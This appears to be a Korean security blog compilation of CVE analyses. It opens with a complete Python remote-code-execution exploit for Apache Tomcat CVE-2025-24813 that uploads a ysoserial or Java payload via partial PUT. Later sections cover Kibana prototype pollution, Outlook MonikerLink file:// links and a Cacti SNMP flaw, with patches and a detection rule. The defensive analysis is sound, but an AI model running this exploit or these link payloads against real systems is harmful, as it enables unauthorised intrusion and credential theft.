██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║    ██████╔╝██████╔╝██╔████╔██║██║  ███╗██████╔╝   ██║█████╗██████╔╝██║     █████╗  
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║    ██╔══██╗██╔══██╗██║╚██╔╝██║██║   ██║██╔══██╗   ██║╚════╝██╔══██╗██║     ██╔══╝  
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝    ██████╔╝██║  ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║     ██║  ██║╚██████╗███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝     ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝
"""

def remove_file(file_path):
    try:
        os.remove(file_path)
        print(f"[+] Temporary file removed: {file_path}")
    except OSError as e:
        print(f"[-] Error removing file: {str(e)}")

def check_writable_servlet(target_url, host, port, verify_ssl=True):
    check_file = f"{target_url}/check.txt"
    try:
        response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201]:
            print(f"[+] Server is writable via PUT: {check_file}")
            return True
        else:
            print(f"[-] Server is not writable (HTTP {response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during check: {str(e)}")
        return False

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
    if not os.path.exists(ysoserial_path):
        print(f"[-] Error: {ysoserial_path} not found.")
        sys.exit(1)
    try:
        print(f"[*] Generating ysoserial payload for command: {command}")
        cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
        with open(payload_file, "wb") as f:
            subprocess.run(cmd, stdout=f, check=True)
        print(f"[+] Payload generated successfully: {payload_file}")
        return payload_file
    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"[-] Error generating payload: {str(e)}")
        sys.exit(1)

def generate_java_payload(command, payload_file):
    payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{command}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"""
    try:
        print(f"[*] Generating Java payload for command: {command}")
        with open("Exploit.java", "w") as f:
            f.write(payload_java)
        subprocess.run(["javac", "Exploit.java"], check=True)
        subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
        remove_file("Exploit.java")
        remove_file("Exploit.class")
        print(f"[+] Java payload generated successfully: {payload_file}")
        return payload_file
    except subprocess.CalledProcessError as e:
        print(f"[-] Error generating Java payload: {str(e)}")
        sys.exit(1)

def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
    exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, "rb") as f:
            put_response = requests.put(
                exploit_url,
                headers={
                    "Host": f"{host}:{port}",
                    "Content-Length": "10000",
                    "Content-Range": "bytes 0-1000/1200"
                },
                data=f.read(),
                timeout=10,
                verify=verify_ssl
            )
        if put_response.status_code == 409:
            print(f"[+] Payload uploaded with status 409 (Conflict): {exploit_url}")
            get_response = requests.get(
                target_url,
                headers={"Cookie": "JSESSIONID=absholi7ly"},
                timeout=10,
                verify=verify_ssl
            )
            if get_response.status_code == 500:
                print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
                return True
            else:
                print(f"[-] Exploit failed. GET request returned HTTP {get_response.status_code}")
                return False
        else:
            print(f"[-] Payload upload failed: {exploit_url} (HTTP {put_response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during upload/verification: {str(e)}")
        return False
    except FileNotFoundError:
        print(f"[-] Payload file not found: {payload_file}")
        return False

def get_session_id(target_url, verify_ssl=True):
    try:
        response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
        if "JSESSIONID" in response.cookies:
            return response.cookies["JSESSIONID"]
        session_id = re.search(r"Session ID: (\w+)", response.text)
        if session_id:
            return session_id.group(1)
        else:
            print(f"[-] Session ID not found in response. Using default session ID: absholi7ly")
            return "absholi7ly"
    except requests.RequestException as e:
        print(f"[-] Error getting session ID: {str(e)}")
        sys.exit(1)

def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
    host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
    port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"

    session_id = get_session_id(target_url, verify_ssl)
    print(f"[*] Session ID: {session_id}")
    
    if check_writable_servlet(target_url, host, port, verify_ssl):
        payload_file = "payload.ser"
        if payload_type == "ysoserial":
            generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
        elif payload_type == "java":
            generate_java_payload(command, payload_file)
        else:
            print(f"[-] Invalid payload type: {payload_type}")
            return
        
        if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
            print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
        else:
            print(f"[-] Target {target_url} does not appear vulnerable or exploit failed.")
        
        remove_file(payload_file)

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE Exploit")
    parser.add_argument("target", help="Target URL (e.g., http://localhost:8081 or https://example.com)")
    parser.add_argument("--command", default="calc.exe", help="Command to execute")
    parser.add_argument("--ysoserial", default="ysoserial.jar", help="Path to ysoserial.jar")
    parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget chain")
    parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial", help="Payload type (ysoserial or java)")
    parser.add_argument("--no-ssl-verify", action="store_false", help="Disable SSL verification")
    args = parser.parse_args()

    check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)

if __name__ == "__main__":
    main()

 

- PoC 실행 결과 Server is not writable 에러가 발생

> check.txt 파일이 대상 서버에 정상적으로 생성된 것을 확인할 수 있었음

[사진 3] Server is not writable 에러 발생
[사진 4] 공격 패킷 캡쳐 및 결과

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8][9][10]

제품명 영향받는 버전 해결 버전
Apache Tomcat  Apache Tomcat 9.0.0.M1 ~ 9.0.98 9.0.99
Apache Tomcat 10.1.0-M1 ~ 10.1.34 10.1.35
 Apache Tomcat 11.0.0-M1 ~ 11.0.2 11.0.3

 

- 쓰기 권한 비활성화 및 부분 PUT 비활성화

> 쓰기 권한 비활성화 : conf/web.xml에서 readonly 매개변수 true 설정

> 부분 PUT 비활성화 : allowPartialPut 매개변수 false 설정

[사진 5] conf/web.xml 중 allowPartialPut 관련 내용

- 탐지룰 적용 [11]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS Apache Tomcat Path Equivalence (CVE-2025-24813)"; flow:established,to_server; content:"PUT"; http_method; pcre:"/\x2f[^\x2f\x2e\s]*?\x2e\w+$/U"; content:"Content-Range|3a 20|"; http_header; fast_pattern; pcre:"/^\w+\s(?:(?:\d+|\x2a)?\x2d(?:\d+|\x2a)?|\x2a)\x2f(?:\d+|\x2a)?/R"; reference:url,lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq; reference:cve,2025-24813; classtype:web-application-attack; sid:2060801; rev:1; metadata:affected_product Apache_Tomcat, attack_target Server, created_at 2025_03_12, cve CVE_2025_24813, deployment Perimeter, deployment Internal, confidence High, signature_severity Major, tag Exploit, updated_at 2025_03_12, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-24813
[2] https://github.com/charis3306/CVE-2025-24813
[3] https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/
[4] https://attackerkb.com/topics/4GajxQH17l/cve-2025-24813
[5] https://github.com/absholi7ly/POC-CVE-2025-24813
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71687&menuNo=205020
[7] https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
[8] https://tomcat.apache.org/security-9.html
[9] https://tomcat.apache.org/security-10.html
[10] https://tomcat.apache.org/security-11.html
[11] https://asec.ahnlab.com/ko/86938/

1. Kibana

- ELK의 구성 요소 중 하나로, 데이터 시각화 및 분석을 위한 오픈 소스 도구 [1]

- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공

- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌

[사진 1] Kibana 예시

1.1 ELK

- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]

> Beats : 데이터 수집 담당

※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음

> Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구

> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계

> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용

[사진 2] ELK

2. CVE-2025-25015

[사진 3] CVE-2025-25015 [3]

- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)

> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음

※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침

※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지

영향받는 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만
※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음

※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는
사용자만 취약점을 악용할 수 있음

 

- 벤더사 제공 최신 보안 업데이트 적용 [4][5]

제품명 영향받는 버전 해결 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만 8.17.3

 

- 즉시 업데이트가 불가한 경우 권고

> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정

 

2.1 Prototype Pollution (프로토타입 오염) [6][7]

- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음

> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음

 

- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어

> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘

> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음

> 주요 특징

① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨

② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음

③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색

 

- 프로토타입은 체인 (Prototype Chain)

> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조

> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨

> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환

> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음

const grandparent = { familyName: "Kim" };
const parent = Object.create(grandparent); // parent의 프로토타입을 grandparent로 설정
const child = Object.create(parent); // child의 프로토타입을 parent로 설정

console.log(child.familyName); // "Kim"

[사진 4] Prototype Chain 테스트 [8]

- 공격자는 JavaScript의 프로토타입을 조작모든 객체에 악성 속성을 추가할 수 있음

> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음

> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음

// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined

// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정

// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true

// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true

[사진 5] 오염 전 후 비교 [8]

2.2 대응 방안

① 사용자 입력 값 검증

> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증

 

② Object.create(null) 사용

> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음

 

③ Object.freeze() 또는 Object.seal() 사용

> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음

> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성 추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능

 

④ 정기적인 보안 업데이트 및 시큐어 코딩

> 사용하는 라이브러리 및 프레임워크의 보안 업데이트를 정기적으로 확인 및 적용

> 애플리케이션의 보안 취약점 정기적 점검

> 시큐어 코딩 및 코드 리뷰를 통해 잠재적 보안 문제 사전 발견 등

3. 참고

[1] https://www.elastic.co/kibana
[2] https://idkim97.github.io/2024-04-19-Kibana(%ED%82%A4%EB%B0%94%EB%82%98)%EB%9E%80/
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25015
[4] https://discuss.elastic.co/t/kibana-8-17-3-security-update-esa-2025-06/375441/1
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71670&menuNo=205020
[6] https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript
[7] https://www.igloo.co.kr/security-information/prototype-pollution-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EA%B3%B5%EA%B2%A9%EC%82%AC%EB%A1%80-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/
[8] https://www.mycompiler.io/ko/new/nodejs

1. Protected View

[사진 1] Protected View

- MS Office의 기능으로, 사용자 PC의 안전을 위해 외부 콘텐츠를 차단하는 기능 [1]

> 안전하지 않은 출처에서 가져온 파일을 읽기 전용 또는 제한된 보기로 실행

> Outlook의 경우 의심되는 하이퍼링크 등이 포함된 경우 [사진 1]과 같은 경고창을 띄움

> 사용자가 "편집 사용" 등의 버튼을 클릭해 제한된 보기를 해제하고 문서를 편집할 수 있음

2. 주요내용

[사진 2] CVE-2024-21413 [2]

- MS Outlook에서 발생하는 원격 명령 실행 취약점 (CVSS : 9.8)

> 취약점 발견 당시 Zero-Day 취약점이었으나, 현재는 보안 패치가 발표된 상태

> CISA는 해당 취약점이 현재 실제 공격에 악용되고 있음을 경고하며 패치 적용을 권고

영향받는 버전
- Microsoft Office 2016 (32-bit editions, 64-bit editions)
- Microsoft Office 2019 (32-bit editions, 64-bit editions)
- Microsoft Office LTSC 2021 (32-bit editions, 64-bit editions)
- Microsoft 365 Apps for Enterprise (32-bit editions, 64-bit editions)


- Outlook에서는 하이퍼링크를 사용하여 파일을 첨부할 수 있음

> 하이퍼링크의 file:// 구문(Ex. file://///Server IP/example.rtf)을 사용하여 Moniker를 악용함으로써 특정 개체를 직접 로드하도록 유도

> Outlook에서 하이퍼링크를 통해 파일에 엑세스를 시도하면 해당 동작을 차단하고 오류 메세지를 띄움

[사진 3] file://///Server IP/example.rtf에 대한 Protected View 오류 메세지

- Moniker Links에 "!"를 추가하게 되면, Single Moniker에서 Composite Moniker로 변경되어 처리

> 이때, 메일 내 링크를 처리하는 과정에서 입력 값 검증이 제대로 이루어지지 않아 취약점이 발생

> Ex. file://///Server IP/example.rtf!Additionaltext

① Moniker 링크 구문 분석

> Outlook이 링크를 만나면 MkParseDisplayName( ) 호출

> Composite Moniker를 FileMoniker 및 ItemMoniker로 구문 분석

※ FileMoniker : //Server IP/example.rtf

※ ItemMoniker : Additionaltext

② COM 객체 조회

> 구문 분석된 요소는 해당 COM 객체를 조회

> .rtf 파일의 COM 개체를 검색하여 지정된 추가 항목(Additionaltext)을 처리

③ 임의 코드 실행

> .rtf 파일을 열고 분석한 후의 동작은 Additionaltext 부분에 따라 달라짐

> 콘텐츠가 악의적으로 제작된 경우 임의의 코드가 실행될 가능성 존재

[사진 4] 과정 요약

- 취약점 시연 영상에서는 Impacket을 사용해 SMB 프로토콜을 통한 NTLM 자격증명 탈취

> Impacket : Python 기반의 네트워크 공격 및 침투 테스트 도구 모음으로, SMB, NTLM, Kerberos, LDAP 등 다양한 네트워크 프로토콜을 다룰 수 있는 라이브러리

> 공격자가 제어하는 서버에 위치한 파일에 엑세스 하기위해 SMB 프로토콜이 사용되며, 이때 NTLM 인증이 발생

[영상 1] 공격 시연 [3]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [4]

영향받는 버전 해결 버전
Microsoft Office 2016 (32-bit editions, 64-bit editions) 버전 16.0.5435.1000 이상으로 업데이트
Microsoft Office 2019 (32-bit editions, 64-bit editions) 버전 19.0.0 이상으로 업데이트
Microsoft Office LTSC 2021 (32-bit editions, 64-bit editions) 버전 16.0.1 이상으로 업데이트
Microsoft 365 Apps for Enterprise (32-bit editions, 64-bit editions) 버전 16.0.1 이상으로 업데이트

4. 참고

[1] https://support.microsoft.com/ko-kr/office/%EC%A0%9C%ED%95%9C%EB%90%9C-%EB%B3%B4%EA%B8%B0%EC%9D%98-%EC%A0%95%EC%9D%98-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
[2] https://nvd.nist.gov/vuln/detail/cve-2024-21413
[3] https://www.youtube.com/watch?v=rFjhBcUWXaY
[4] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413
[5] https://www.vicarius.io/vsociety/posts/monikerlink-critical-vulnerability-in-ms-outlook-cve-2024-21413
[6] https://www.dailysecu.com/news/articleView.html?idxno=163568

1. Cacti [1]

네트워크 및 시스템 성능을 모니터링하는 오픈 소스 도구
> SNMP를 기반으로 네트워크 장비, 서버, 애플리케이션 등의 성능 데이터를 수집하고, RRDTool을 사용하여 그래프 형태로 시각화

※ SNMP (Simple Network Management Protocol) : 네트워크 장비(라우터, 스위치, 서버 등)의 상태 및 성능 데이터를 수집하는 프로토콜
※ RRDTool : 시간에 따라 변화하는 데이터를 저장하고 그래프로 시각화해주는 툴

2. CVE-2025-22604

[사진 1] CVE-2025-22604 [2]

- Cacti의 다중 라인 SNMP 결과 파서의 결함으로 인해 발생하는 원격 코드 실행 취약점 (CVSS : 9.1) [3]

> OID의 일부가 시스템 명령의 일부로 사용되는 배열의 키로 사용되어 취약점이 발생

OID (Object IDentifier) [4] - SNMP는 네트워크 장비의 정보(CPU 사용량, 메모리 사용량, 포트 Up/Down 상태 등)을 MIB(Management Infomation Base)에 저장해 정보를 주고받음
-  MIB 내에 포함되어 있는 각 개별 정보(Object)에 대한 ID를 OID라 함
-  즉, CPU 사용량, 메모리 사용량, 포트 상태 등 각 정보에 대해 구분할 수 있는 ID
영향받는 버전 : Cacti <= 1.2.8

 

ss_net_snmp_disk_io() 또는 ss_net_snmp_disk_bytes()로 처리될 때 각 OID의 일부가 시스템 명령의 일부로 사용되는 배열의 키로 사용되어 취약점이 발생
> cacti_snmp_walk()에서 exec_into_array()를 사용해 명령을 실행하고 여러 줄을 배열로 사용해 결과를 읽음
> 그 후, [사진 2]의 코드를 사용해 문자 = 를 기준으로 왼쪽 값을 OID에, 오른쪽 값을 Value에 저장
> Value의 경우 필터링을 적용하지만, OID 값은 필터링 없이 사용

[사진 2] OID와 Value 분할 코드

$i=0;
foreach($temp_array as $index => $value) { // $temp_array 배열 순회
	if(preg_match('/(.*=.*/',$value)) { // $value 값이 "키=값" 형식인 경우
		$parts=explode('=',$value,2); // = 문자를 기준으로 $value를 두 부분으로 분할
		$snmp_array[$i]['oid']=trim($parts[0]); // 공백을 제거한 후 값을 oid에 저장
		$snmp_array[$i]['value']=format_snmp_string($parts[1],false,$value_output_format); // 필터링 후 value에 저장
		$i++; // 다음 배열 인덱스로 이동
	} else { // 멀티라인 값 처리
		$snmp_array[$i-1]['value'].=$value;
	}
}

3. 해결방안

- 벤더사 제공 보안 업데이트 제공

제품명 영향받는 버전 해결 버전
Cacti <= 1.2.8 1.2.29

4. 참고

[1] https://www.cacti.net/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-22604
[3] https://github.com/Cacti/cacti/security/advisories/GHSA-c5j8-jxj3-hh36
[4] https://blog.naver.com/watch_all/221698867095
[5] https://thehackernews.com/2025/01/critical-cacti-security-flaw-cve-2025.html

+ Recent posts